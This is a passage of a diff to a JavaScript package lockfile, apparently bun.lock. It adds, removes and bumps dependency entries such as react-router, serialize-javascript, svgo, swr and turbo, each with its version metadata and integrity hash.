- "querystringify": ["querystringify@2.2.0", "", {}, "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ=="],
-
"queue-microtask": ["queue-microtask@1.2.3", "", {}, "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="],
"random-bytes": ["random-bytes@1.0.0", "", {}, "sha512-iv7LhNVO047HzYR3InF6pUcUsPQiHTM1Qal51DcGSuZFBil1aBBWG5eHPNek7bvILMaYJ/8RU1e8w1AMdHmLQQ=="],
@@ -4003,23 +4267,21 @@
"react-is": ["react-is@17.0.2", "", {}, "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="],
- "react-lazy-load-image-component": ["react-lazy-load-image-component@1.6.0", "", { "dependencies": { "lodash.debounce": "^4.0.8", "lodash.throttle": "^4.1.1" }, "peerDependencies": { "react": "^15.x.x || ^16.x.x || ^17.x.x || ^18.x.x", "react-dom": "^15.x.x || ^16.x.x || ^17.x.x || ^18.x.x" } }, "sha512-8KFkDTgjh+0+PVbH+cx0AgxLGbdTsxWMnxXzU5HEUztqewk9ufQAu8cstjZhyvtMIPsdMcPZfA0WAa7HtjQbBQ=="],
-
"react-lifecycles-compat": ["react-lifecycles-compat@3.0.4", "", {}, "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="],
"react-markdown": ["react-markdown@9.0.1", "", { "dependencies": { "@types/hast": "^3.0.0", "devlop": "^1.0.0", "hast-util-to-jsx-runtime": "^2.0.0", "html-url-attributes": "^3.0.0", "mdast-util-to-hast": "^13.0.0", "remark-parse": "^11.0.0", "remark-rehype": "^11.0.0", "unified": "^11.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.0" }, "peerDependencies": { "@types/react": ">=18", "react": ">=18" } }, "sha512-186Gw/vF1uRkydbsOIkcGXw7aHq0sZOCRFFjGrr7b9+nVZg4UfA4enXCaxm4fUzecU38sWfrNDitGhshuU7rdg=="],
- "react-refresh": ["react-refresh@0.14.2", "", {}, "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA=="],
+ "react-refresh": ["react-refresh@0.18.0", "", {}, "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw=="],
- "react-remove-scroll": ["react-remove-scroll@2.7.1", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.7", "react-style-singleton": "^2.2.3", "tslib": "^2.1.0", "use-callback-ref": "^1.3.3", "use-sidecar": "^1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-HpMh8+oahmIdOuS5aFKKY6Pyog+FNaZV/XyJOq7b4YFwsFHe5yYfdbIalI4k3vU2nSDql7YskmUseHsRrJqIPA=="],
+ "react-remove-scroll": ["react-remove-scroll@2.5.5", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.3", "react-style-singleton": "^2.2.1", "tslib": "^2.1.0", "use-callback-ref": "^1.3.0", "use-sidecar": "^1.1.2" }, "peerDependencies": { "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw=="],
"react-remove-scroll-bar": ["react-remove-scroll-bar@2.3.8", "", { "dependencies": { "react-style-singleton": "^2.2.2", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q=="],
"react-resizable-panels": ["react-resizable-panels@3.0.6", "", { "peerDependencies": { "react": "^16.14.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc", "react-dom": "^16.14.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-b3qKHQ3MLqOgSS+FRYKapNkJZf5EQzuf6+RLiq1/IlTHw99YrZ2NJZLk4hQIzTnnIkRg2LUqyVinu6YWWpUYew=="],
- "react-router": ["react-router@6.22.0", "", { "dependencies": { "@remix-run/router": "1.15.0" }, "peerDependencies": { "react": ">=16.8" } }, "sha512-q2yemJeg6gw/YixRlRnVx6IRJWZD6fonnfZhN1JIOhV2iJCPeRNSH3V1ISwHf+JWcESzLC3BOLD1T07tmO5dmg=="],
+ "react-router": ["react-router@6.30.3", "", { "dependencies": { "@remix-run/router": "1.23.2" }, "peerDependencies": { "react": ">=16.8" } }, "sha512-XRnlbKMTmktBkjCLE8/XcZFlnHvr2Ltdr1eJX4idL55/9BbORzyZEaIkBFDhFGCEWBBItsVrDxwx3gnisMitdw=="],
- "react-router-dom": ["react-router-dom@6.22.0", "", { "dependencies": { "@remix-run/router": "1.15.0", "react-router": "6.22.0" }, "peerDependencies": { "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-z2w+M4tH5wlcLmH3BMMOMdrtrJ9T3oJJNsAlBJbwk+8Syxd5WFJ7J5dxMEW0/GEXD1BBis4uXRrNIz3mORr0ag=="],
+ "react-router-dom": ["react-router-dom@6.30.3", "", { "dependencies": { "@remix-run/router": "1.23.2", "react-router": "6.30.3" }, "peerDependencies": { "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-pxPcv1AczD4vso7G4Z3TKcvlxK7g7TNt3/FNGMhfqyntocvYKj+GCatfigGDjbLozC4baguJ0ReCigoDJXb0ag=="],
"react-speech-recognition": ["react-speech-recognition@3.10.0", "", { "peerDependencies": { "react": ">=16.8.0" } }, "sha512-EVSr4Ik8l9urwdPiK2r0+ADrLyDDrjB0qBRdUWO+w2MfwEBrj6NuRmy1GD3x7BU/V6/hab0pl8Lupen0zwlJyw=="],
@@ -4057,8 +4319,6 @@
"regenerator-runtime": ["regenerator-runtime@0.14.1", "", {}, "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw=="],
- "regenerator-transform": ["regenerator-transform@0.15.2", "", { "dependencies": { "@babel/runtime": "^7.8.4" } }, "sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg=="],
-
"regexp.prototype.flags": ["regexp.prototype.flags@1.5.4", "", { "dependencies": { "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-errors": "^1.3.0", "get-proto": "^1.0.1", "gopd": "^1.2.0", "set-function-name": "^2.0.2" } }, "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA=="],
"regexpu-core": ["regexpu-core@6.2.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.0", "regjsgen": "^0.8.0", "regjsparser": "^0.12.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.1.0" } }, "sha512-H66BPQMrv+V16t8xtmq+UC0CBpiTBA60V8ibS1QVReIp8T1z8hwFxqcGzm9K6lgsN7sB5edVH8a+ze6Fqm4weA=="],
@@ -4097,8 +4357,6 @@
"requireindex": ["requireindex@1.1.0", "", {}, "sha512-LBnkqsDE7BZKvqylbmn7lTIVdpx4K/QCduRATpO5R+wtPmky/a8pN1bO2D6wXppn1497AJF9mNjqAXr6bdl9jg=="],
- "requires-port": ["requires-port@1.0.0", "", {}, "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ=="],
-
"resolve": ["resolve@2.0.0-next.5", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA=="],
"resolve-cwd": ["resolve-cwd@3.0.0", "", { "dependencies": { "resolve-from": "^5.0.0" } }, "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg=="],
@@ -4115,10 +4373,12 @@
"rfdc": ["rfdc@1.4.1", "", {}, "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA=="],
- "rimraf": ["rimraf@6.1.2", "", { "dependencies": { "glob": "^13.0.0", "package-json-from-dist": "^1.0.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g=="],
+ "rimraf": ["rimraf@6.1.3", "", { "dependencies": { "glob": "^13.0.3", "package-json-from-dist": "^1.0.1" }, "bin": { "rimraf": "dist/esm/bin.mjs" } }, "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA=="],
"ripemd160": ["ripemd160@2.0.2", "", { "dependencies": { "hash-base": "^3.0.0", "inherits": "^2.0.1" } }, "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA=="],
+ "robust-predicates": ["robust-predicates@3.0.2", "", {}, "sha512-IXgzBWvWQwE6PrDI05OvmXUIruQTcoMDzRsOd5CDvHCVLcLHMTSYvOK5Cm46kWqlV3yAbuSpBZdJ5oP5OUoStg=="],
+
"rollup": ["rollup@4.37.0", "", { "dependencies": { "@types/estree": "1.0.6" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.37.0", "@rollup/rollup-android-arm64": "4.37.0", "@rollup/rollup-darwin-arm64": "4.37.0", "@rollup/rollup-darwin-x64": "4.37.0", "@rollup/rollup-freebsd-arm64": "4.37.0", "@rollup/rollup-freebsd-x64": "4.37.0", "@rollup/rollup-linux-arm-gnueabihf": "4.37.0", "@rollup/rollup-linux-arm-musleabihf": "4.37.0", "@rollup/rollup-linux-arm64-gnu": "4.37.0", "@rollup/rollup-linux-arm64-musl": "4.37.0", "@rollup/rollup-linux-loongarch64-gnu": "4.37.0", "@rollup/rollup-linux-powerpc64le-gnu": "4.37.0", "@rollup/rollup-linux-riscv64-gnu": "4.37.0", "@rollup/rollup-linux-riscv64-musl": "4.37.0", "@rollup/rollup-linux-s390x-gnu": "4.37.0", "@rollup/rollup-linux-x64-gnu": "4.37.0", "@rollup/rollup-linux-x64-musl": "4.37.0", "@rollup/rollup-win32-arm64-msvc": "4.37.0", "@rollup/rollup-win32-ia32-msvc": "4.37.0", "@rollup/rollup-win32-x64-msvc": "4.37.0", "fsevents": "~2.3.2" }, "bin": "dist/bin/rollup" }, "sha512-iAtQy/L4QFU+rTJ1YUjXqJOJzuwEghqWzCEYD2FEghT7Gsy1VdABntrO4CLopA5IkflTyqNiLNwPcOJ3S7UKLg=="],
"rollup-plugin-peer-deps-external": ["rollup-plugin-peer-deps-external@2.2.4", "", { "peerDependencies": { "rollup": "*" } }, "sha512-AWdukIM1+k5JDdAqV/Cxd+nejvno2FVLVeZ74NKggm3Q5s9cbbcOgUPGdbxPi4BXu7xGaZ8HG12F+thImYu/0g=="],
@@ -4129,6 +4389,8 @@
"rollup-pluginutils": ["rollup-pluginutils@2.8.2", "", { "dependencies": { "estree-walker": "^0.6.1" } }, "sha512-EEp9NhnUkwY8aif6bxgovPHMoMoNr2FulJziTndpt5H9RdwC47GSGuII9XxpSdzVGM0GWrNPHV6ie1LTNJPaLQ=="],
+ "roughjs": ["roughjs@4.6.6", "", { "dependencies": { "hachure-fill": "^0.5.2", "path-data-parser": "^0.1.0", "points-on-curve": "^0.2.0", "points-on-path": "^0.2.1" } }, "sha512-ZUz/69+SYpFN/g/lUlo2FXcIjRkSu3nDarreVdGGndHEBJ6cXPdKguS8JGxwj5HA5xIbVKSmLgr5b3AWxtRfvQ=="],
+
"router": ["router@2.2.0", "", { "dependencies": { "debug": "^4.4.0", "depd": "^2.0.0", "is-promise": "^4.0.0", "parseurl": "^1.3.3", "path-to-regexp": "^8.0.0" } }, "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ=="],
"rrweb-cssom": ["rrweb-cssom@0.8.0", "", {}, "sha512-guoltQEx+9aMf2gDZ0s62EcV8lsXR+0w8915TC3ITdn2YueuNjdAYh/levpU9nFaoChh9RUS5ZdQMrKfVEN9tw=="],
@@ -4137,6 +4399,8 @@
"run-parallel": ["run-parallel@1.2.0", "", { "dependencies": { "queue-microtask": "^1.2.2" } }, "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA=="],
+ "rw": ["rw@1.3.3", "", {}, "sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ=="],
+
"safe-array-concat": ["safe-array-concat@1.1.3", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.2", "get-intrinsic": "^1.2.6", "has-symbols": "^1.1.0", "isarray": "^2.0.5" } }, "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q=="],
"safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="],
@@ -4157,15 +4421,13 @@
"scheduler": ["scheduler@0.23.2", "", { "dependencies": { "loose-envify": "^1.1.0" } }, "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ=="],
- "schema-utils": ["schema-utils@3.3.0", "", { "dependencies": { "@types/json-schema": "^7.0.8", "ajv": "^6.12.5", "ajv-keywords": "^3.5.2" } }, "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg=="],
-
"seedrandom": ["seedrandom@3.0.5", "", {}, "sha512-8OwmbklUNzwezjGInmZ+2clQmExQPvomqjL7LFqOYqtmuxRgQYqOD3mHaU+MvZn5FLUeVxVfQjwLZW/n/JFuqg=="],
"semver": ["semver@6.3.1", "", { "bin": "bin/semver.js" }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="],
"send": ["send@1.2.0", "", { "dependencies": { "debug": "^4.3.5", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "fresh": "^2.0.0", "http-errors": "^2.0.0", "mime-types": "^3.0.1", "ms": "^2.1.3", "on-finished": "^2.4.1", "range-parser": "^1.2.1", "statuses": "^2.0.1" } }, "sha512-uaW0WwXKpL9blXE2o0bRhoL2EGXIrZxQ2ZQ4mgcfoBxdFmQold+qWsD2jLrfZ0trjKL6vOw0j//eAwcALFjKSw=="],
- "serialize-javascript": ["serialize-javascript@6.0.2", "", { "dependencies": { "randombytes": "^2.1.0" } }, "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g=="],
+ "serialize-javascript": ["serialize-javascript@7.0.4", "", {}, "sha512-DuGdB+Po43Q5Jxwpzt1lhyFSYKryqoNjQSA9M92tyw0lyHIOur+XCalOUe0KTJpyqzT8+fQ5A0Jf7vCx/NKmIg=="],
"serve-static": ["serve-static@2.2.0", "", { "dependencies": { "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "parseurl": "^1.3.3", "send": "^1.2.0" } }, "sha512-61g9pCh0Vnh7IutZjtLGGpTA355+OPn2TyDv/6ivP2h/AdAVX9azsoxmg2/M6nZeQZNYBEwIcsne1mJd9oQItQ=="],
@@ -4237,6 +4499,8 @@
"standard-as-callback": ["standard-as-callback@2.1.0", "", {}, "sha512-qoRRSyROncaz1z0mvYqIE4lCd9p2R90i6GxW3uZv5ucSu8tU7B5HXUP1gG8pVZsYNVaXjk8ClXHPttLyxAL48A=="],
+ "state-local": ["state-local@1.0.7", "", {}, "sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w=="],
+
"static-browser-server": ["static-browser-server@1.0.3", "", { "dependencies": { "@open-draft/deferred-promise": "^2.1.0", "dotenv": "^16.0.3", "mime-db": "^1.52.0", "outvariant": "^1.3.0" } }, "sha512-ZUyfgGDdFRbZGGJQ1YhiM930Yczz5VlbJObrQLlk24+qNHVQx4OlLcYswEUo3bIyNAbQUIUR9Yr5/Hqjzqb4zA=="],
"statuses": ["statuses@2.0.1", "", {}, "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ=="],
@@ -4297,7 +4561,7 @@
"strip-json-comments": ["strip-json-comments@3.1.1", "", {}, "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig=="],
- "strnum": ["strnum@1.0.5", "", {}, "sha512-J8bbNyKKXl5qYcR36TIO8W3mVGVHrmmxsd5PAItGkmyzwJvybiw2IVq5nqd0i4LSNSkB/sx9VHllbfFdr9k1JA=="],
+ "strnum": ["strnum@2.2.0", "", {}, "sha512-Y7Bj8XyJxnPAORMZj/xltsfo55uOiyHcU2tnAVzHUnSJR/KsEX+9RoDeXEnsXtl/CX4fAcrt64gZ13aGaWPeBg=="],
"strtok3": ["strtok3@7.0.0", "", { "dependencies": { "@tokenizer/token": "^0.3.0", "peek-readable": "^5.0.0" } }, "sha512-pQ+V+nYQdC5H3Q7qBZAz/MO6lwGhoC2gOAjuouGf/VO0m7vQRh8QNMl2Uf6SwAtzZ9bOw3UIeBukEGNJl5dtXQ=="],
@@ -4309,6 +4573,8 @@
"stylehacks": ["stylehacks@5.1.1", "", { "dependencies": { "browserslist": "^4.21.4", "postcss-selector-parser": "^6.0.4" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw=="],
+ "stylis": ["stylis@4.3.6", "", {}, "sha512-yQ3rwFWRfwNUY7H5vpU0wfdkNSnvnJinhF9830Swlaxl03zsOjCfmX0ugac+3LtK0lYSgwL/KXc8oYL3mG4YFQ=="],
+
"sucrase": ["sucrase@3.35.0", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.2", "commander": "^4.0.0", "glob": "^10.3.10", "lines-and-columns": "^1.1.6", "mz": "^2.7.0", "pirates": "^4.0.1", "ts-interface-checker": "^0.1.9" }, "bin": { "sucrase": "bin/sucrase", "sucrase-node": "bin/sucrase-node" } }, "sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA=="],
"superagent": ["superagent@9.0.2", "", { "dependencies": { "component-emitter": "^1.3.0", "cookiejar": "^2.1.4", "debug": "^4.3.4", "fast-safe-stringify": "^2.1.1", "form-data": "^4.0.0", "formidable": "^3.5.1", "methods": "^1.1.2", "mime": "2.6.0", "qs": "^6.11.0" } }, "sha512-xuW7dzkUpcJq7QnhOsnNUgtYp3xRwpt2F7abdRYIpCsAt0hhUqia0EdxyXZQQpNmGtsCzYHryaKSV3q3GJnq7w=="],
@@ -4321,7 +4587,9 @@
"supports-preserve-symlinks-flag": ["supports-preserve-symlinks-flag@1.0.0", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="],
- "svgo": ["svgo@2.8.0", "", { "dependencies": { "@trysound/sax": "0.2.0", "commander": "^7.2.0", "css-select": "^4.1.3", "css-tree": "^1.1.3", "csso": "^4.2.0", "picocolors": "^1.0.0", "stable": "^0.1.8" }, "bin": "bin/svgo" }, "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg=="],
+ "svgo": ["svgo@2.8.2", "", { "dependencies": { "commander": "^7.2.0", "css-select": "^4.1.3", "css-tree": "^1.1.3", "csso": "^4.2.0", "picocolors": "^1.0.0", "sax": "^1.5.0", "stable": "^0.1.8" }, "bin": "./bin/svgo" }, "sha512-TyzE4NVGLUFy+H/Uy4N6c3G0HEeprsVfge6Lmq+0FdQQ/zqoVYB62IsBZORsiL+o96s6ff/V6/3UQo/C0cgCAA=="],
+
+ "swr": ["swr@2.4.1", "", { "dependencies": { "dequal": "^2.0.3", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "react": "^16.11.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-2CC6CiKQtEwaEeNiqWTAw9PGykW8SR5zZX8MZk6TeAvEAnVS7Visz8WzphqgtQ8v2xz/4Q5K+j+SeMaKXeeQIA=="],
"symbol-tree": ["symbol-tree@3.2.4", "", {}, "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw=="],
@@ -4349,8 +4617,6 @@
"terser": ["terser@5.27.0", "", { "dependencies": { "@jridgewell/source-map": "^0.3.3", "acorn": "^8.8.2", "commander": "^2.20.0", "source-map-support": "~0.5.20" }, "bin": "bin/terser" }, "sha512-bi1HRwVRskAjheeYl291n3JC4GgO/Ty4z1nVs5AAsmonJulGxpSektecnNedrwK9C7vpvVtcX3cw00VSLt7U2A=="],
- "terser-webpack-plugin": ["terser-webpack-plugin@5.3.10", "", { "dependencies": { "@jridgewell/trace-mapping": "^0.3.20", "jest-worker": "^27.4.5", "schema-utils": "^3.1.1", "serialize-javascript": "^6.0.1", "terser": "^5.26.0" }, "peerDependencies": { "webpack": "^5.1.0" } }, "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w=="],
-
"test-exclude": ["test-exclude@6.0.0", "", { "dependencies": { "@istanbuljs/schema": "^0.1.2", "glob": "^7.1.4", "minimatch": "^3.0.4" } }, "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w=="],
"text-decoder": ["text-decoder@1.2.3", "", { "dependencies": { "b4a": "^1.6.4" } }, "sha512-3/o9z3X0X0fTupwsYvR03pJ/DjWuqqrfwBgTQzdWDiQSm9KitAyz/9WqsT2JQW7KV2m+bC2ol/zqpW37NHxLaA=="],
@@ -4367,7 +4633,9 @@
"tiny-emitter": ["tiny-emitter@2.1.0", "", {}, "sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q=="],
- "tinyglobby": ["tinyglobby@0.2.13", "", { "dependencies": { "fdir": "^6.4.4", "picomatch": "^4.0.2" } }, "sha512-mEwzpUgrLySlveBwEVDMKk5B57bhLPYovRfPAXD5gA/98Opn0rCDj3GtLwFvCvH5RK9uPCExUROW5NjDwvqkxw=="],
+ "tinyexec": ["tinyexec@1.0.2", "", {}, "sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg=="],
+
+ "tinyglobby": ["tinyglobby@0.2.15", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.3" } }, "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ=="],
"tldts": ["tldts@6.1.86", "", { "dependencies": { "tldts-core": "^6.1.86" }, "bin": { "tldts": "bin/cli.js" } }, "sha512-WMi/OQ2axVTf/ykqCQgXiIct+mSQDFdH2fkwhPwgEwvJ1kSzZRiinb0zF2Xb8u4+OqPChmyI6MEu4EezNJz+FQ=="],
@@ -4403,8 +4671,12 @@
"ts-api-utils": ["ts-api-utils@2.0.1", "", { "peerDependencies": { "typescript": ">=4.8.4" } }, "sha512-dnlgjFSVetynI8nzgJ+qF62efpglpWRk8isUEWZGWlJYySCTD6aKvbUDu+zbPeDakk3bg5H4XpitHukgfL1m9w=="],
+ "ts-dedent": ["ts-dedent@2.2.0", "", {}, "sha512-q5W7tVM71e2xjHZTlgfTDoPF/SmqKG5hddq9SzR49CH2hayqRKJtQ4mtRlSxKaJlR/+9rEM+mnBHf7I2/BQcpQ=="],
+
"ts-interface-checker": ["ts-interface-checker@0.1.13", "", {}, "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA=="],
+ "ts-md5": ["ts-md5@1.3.1", "", {}, "sha512-DiwiXfwvcTeZ5wCE0z+2A9EseZsztaiZtGrtSaY5JOD7ekPnR/GoIVD5gXZAlK9Na9Kvpo9Waz5rW64WKAWApg=="],
+
"ts-node": ["ts-node@10.9.2", "", { "dependencies": { "@cspotcode/source-map-support": "^0.8.0", "@tsconfig/node10": "^1.0.7", "@tsconfig/node12": "^1.0.7", "@tsconfig/node14": "^1.0.0", "@tsconfig/node16": "^1.0.2", "acorn": "^8.4.1", "acorn-walk": "^8.1.1", "arg": "^4.1.0", "create-require": "^1.1.0", "diff": "^4.0.1", "make-error": "^1.1.1", "v8-compile-cache-lib": "^3.0.1", "yn": "3.1.1" }, "peerDependencies": { "@swc/core": ">=1.2.50", "@swc/wasm": ">=1.2.50", "@types/node": "*", "typescript": ">=2.7" }, "optionalPeers": ["@swc/core", "@swc/wasm"], "bin": { "ts-node": "dist/bin.js", "ts-node-cwd": "dist/bin-cwd.js", "ts-node-esm": "dist/bin-esm.js", "ts-node-script": "dist/bin-script.js", "ts-node-transpile-only": "dist/bin-transpile.js", "ts-script": "dist/bin-script-deprecated.js" } }, "sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ=="],
"tsconfig-paths": ["tsconfig-paths@3.15.0", "", { "dependencies": { "@types/json5": "^0.0.29", "json5": "^1.0.2", "minimist": "^1.2.6", "strip-bom": "^3.0.0" } }, "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg=="],
@@ -4413,6 +4685,20 @@
"tty-browserify": ["tty-browserify@0.0.1", "", {}, "sha512-C3TaO7K81YvjCgQH9Q1S3R3P3BtN3RIM8n+OvX4il1K1zgE8ZhI0op7kClgkxtutIE8hQrcrHBXvIheqKUUCxw=="],
+ "turbo": ["turbo@2.8.14", "", { "optionalDependencies": { "turbo-darwin-64": "2.8.14", "turbo-darwin-arm64": "2.8.14", "turbo-linux-64": "2.8.14", "turbo-linux-arm64": "2.8.14", "turbo-windows-64": "2.8.14", "turbo-windows-arm64": "2.8.14" }, "bin": { "turbo": "bin/turbo" } }, "sha512-UCTxeMNYT1cKaHiIFdLCQ7ulI+jw5i5uOnJOrRXsgUD7G3+OjlUjwVd7JfeVt2McWSVGjYA3EVW/v1FSsJ5DtA=="],
+
+ "turbo-darwin-64": ["turbo-darwin-64@2.8.14", "", { "os": "darwin", "cpu": "x64" }, "sha512-9sFi7n2lLfEsGWi5OEoA/eTtQU2BPKtzSYKqufMtDeRmqMT9vKjbv9gJCRkllSVE9BOXA0qXC3diyX8V8rKIKw=="],
+
